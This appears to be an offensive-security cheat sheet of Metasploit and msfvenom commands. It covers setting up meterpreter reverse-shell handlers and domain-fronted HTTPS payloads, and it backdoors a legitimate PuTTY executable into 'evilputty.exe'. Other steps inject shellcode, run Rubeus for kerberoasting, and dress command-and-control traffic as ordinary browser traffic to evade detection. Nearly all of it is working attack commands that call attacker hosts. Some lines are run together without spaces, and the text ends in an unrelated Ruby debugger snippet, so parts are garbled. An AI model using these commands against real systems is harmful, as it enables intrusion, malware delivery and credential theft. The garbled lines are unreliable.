// sudo msfconsole -qr auto.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_winhttps
set LHOST 10.10.13.37
set LPORT 443
set EXITFUNC thread
set StageEncoder x64/zutto_dekiru
set EnableStageEncoding true
set HandlerSSLCert /home/snovvcrash/cert.pem
set StagerVerifySSLCert true
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
exploit -jz
Start SOCKS server (default is SOCKS5):
msf > use auxiliary/server/socks_proxy
msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf auxiliary(server/socks_proxy) > run -j
Handle connections with domain fronting:
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=legitimate.com LPORT=443 HttpHostHeader=cdn.provider.net -f exe -o https.exe
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST legitimate.com
msf exploit(multi/handler) > set OverrideLHOST legitimate.com
msf exploit(multi/handler) > set OverrideRequestHost true
msf exploit(multi/handler) > set HttpHostHeader cdn.provider.net
msf exploit(multi/handler) > run
Migrate to a different architecture:
msf > use post/windows/manage/archmigrate
msf post(windows/manage/archmigrate) > set SESSION 1
msf post(windows/manage/archmigrate) > run
Switch to the next transport killing current session:
meterpreter > transport add -t reverse_tcp -l 10.10.13.37 -p 9002
meterpreter > transport list
msf > handler -H eth0 -P 9002 -p windows/x64/meterpreter/reverse_tcp
meterpreter > transport next
Reverse local port 3389 (on Victim, 192.168.1.11) to local port 43389 (on Attacker):
msf > use post/windows/manage/execute_dotnet_assembly
msf post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /home/snovvcrash/www/Rubues.exe
msf post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS "kerberoast /usetgtdeleg /format:hashcat"
msf post(windows/manage/execute_dotnet_assembly) > set SESSION 1
msf post(windows/manage/execute_dotnet_assembly) > run
Inject shellcode:
msf > use post/windows/manage/shellcode_inject
msf post(windows/manage/shellcode_inject) > set SHELLCODE /home/snovvcrash/www/shellcode.bin
msf post(windows/manage/shellcode_inject) > set SESSION 1
msf post(windows/manage/shellcode_inject) > run
Backdoored legit executable with delayed Stdapi loading:
$ wget https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe
$ msfvenom -p windows/x64/meterpreter_reverse_http LHOST=eth0 LPORT=8080 EXITFUNC=thread -e x64/xor_dynamic -i 10 -k -x putty.exe -f exe -o evilputty.exe
$ sudo msfconsole -qx 'use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter_reverse_http; set LHOST eth0; set LPORT 8080; set AutoLoadStdapi false; set EXITFUNC thread; run'
meterpreter > use unhook
meterpreter > load stdapi
Quicky opsec traffic build template:
sudocertbotcertonly--standalone-d $DOMAIN --register-unsafely-without-email--agree-tos--key-typersasudocat/etc/letsencrypt/live/$DOMAIN/{privkey.pem,cert.pem}>/tmp/cert.pemmsfvenom -p windows/x64/meterpreter_reverse_https AutoLoadStdapi='false' AutoSystemInfo='false' HandlerSSLCert='/tmp/cert.pem' HttpCookie='...' HttpReferer='https://www.microsoft.com/en-us/' HttpServerName='nginx' HttpUnknownRequestResponse='...' HttpUserAgent='Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' StagerVerifySSLCert='true' LHOST='...' LPORT='443' LURI='...' -f raw -o /tmp/met.bin
ifdefined?(PryByebug)Pry.commands.alias_command 'c','continue'Pry.commands.alias_command 's','step'Pry.commands.alias_command 'n','next'Pry.commands.alias_command 'f','finish'end# Hit Enter to repeat last commandPry::Commands.command /^$/,"repeat last command"do _pry_.run_command Pry.history.to_a.lastend